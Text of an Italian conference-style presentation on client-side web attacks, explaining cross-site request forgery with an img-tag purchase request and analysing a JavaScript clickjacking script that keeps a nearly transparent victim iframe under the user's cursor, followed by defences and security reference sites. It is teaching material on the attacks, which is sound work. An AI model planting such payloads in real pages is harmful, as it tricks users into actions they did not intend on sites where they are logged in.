Professional Documents
Culture Documents
• Gli attacchi a livello Client Side sono molto più comuni e ricorrenti degli attacchi
Server Side (SQL Injection, Remote File Inclusion, Local File Inclusion...).
e ora
Clickjacking
Cross Site Request Forgery
Per capire a fondo il Clickjacking bisogna avere anche una conoscenza basilare
del funzionamento del Cross Site Request Forgery.
• E' un attacco che sfrutta la fiducia riposta del sito nell'autenticazione dei
propri utenti,
• Forza l'utente a compiere inconsapevolmente delle azioni su un sito su
cui è autenticato (o no) sfruttando la sessione su di lui correntemente aperta,
Il Clickjacking trova diverse somiglianze nel CSRF e può essere forse anche
considerato una variante di esso dato che:
<img src=”http://www.amazon.com/compraLibro.php?
idLibro=31337&autore=Claudio%20Guarnieri&quantita=100&conferma=si” /
>
http://www.amazon.com/compraLibro.php?idLibro=31337&autore=Claudio
%20Guarnieri&quantita=1&conferma=si&token=a340sp2ns9
pagina iframe
overlayed nascosto
DEMO :-)
Clickjacking: analisi del codice
<script>
function getPosition(e) {
e = e || window.event;
var cursor = {x:0, y:0};
if (e.pageX || e.pageY) {
cursor.x = e.pageX;
cursor.y = e.pageY;
} else {
var de = document.documentElement;
var b = document.body;
cursor.x = e.clientX + (de.scrollLeft || b.scrollLeft) -
(de.clientLeft || 0);
cursor.y = e.clientY + (de.scrollTop || b.scrollTop) - (de.clientTop
|| 0);
}
document.coordinate.MouseX.value = cursor.x;
document.coordinate.MouseY.value = cursor.y;
return cursor;
}
Clickjacking: analisi del codice
function clickjacking(e) {
var loadFrame = document.getElementById("vittima");
var curPos = getPosition(e);
loadFrame.setAttribute('style','opacity:0.1;position:absolute;top:' +
(curPos.y - 80) + ';left:' + (curPos.x - 15) + ';');
}
window.captureEvents(Event.CLICK);
window.captureEvents(Event.MOUSEMOVE);
window.onmousemove=getPosition;
window.onclick=clickjacking;
</script>
Seride
(http://projects.playhack.net/id/3)
CSRF Guard
(http://www.owasp.org/index.php/CSRF_Guard)
La semplicità con cui può essere attuato però è pari alla quantità di danni che
questo attacco può causare, e considerando il risultato ottenibile lo sforzo è
irrisorio :-)
Detto questo spero che questo semplice intervento vi sia piaciuto e che terrete
tutti sempre un occhio di riguardo per le nuove scoperte in campo di
Webapplications Security anche Client Sided.
• http://www.xssing.com
• http://www.gnucitizen.org
• http://ha.ckers.org
• http://www.whitesec.org
• http://www.cgisecurity.com
• http://jeremiahgrossman.blogspot.com
• http://noscript.net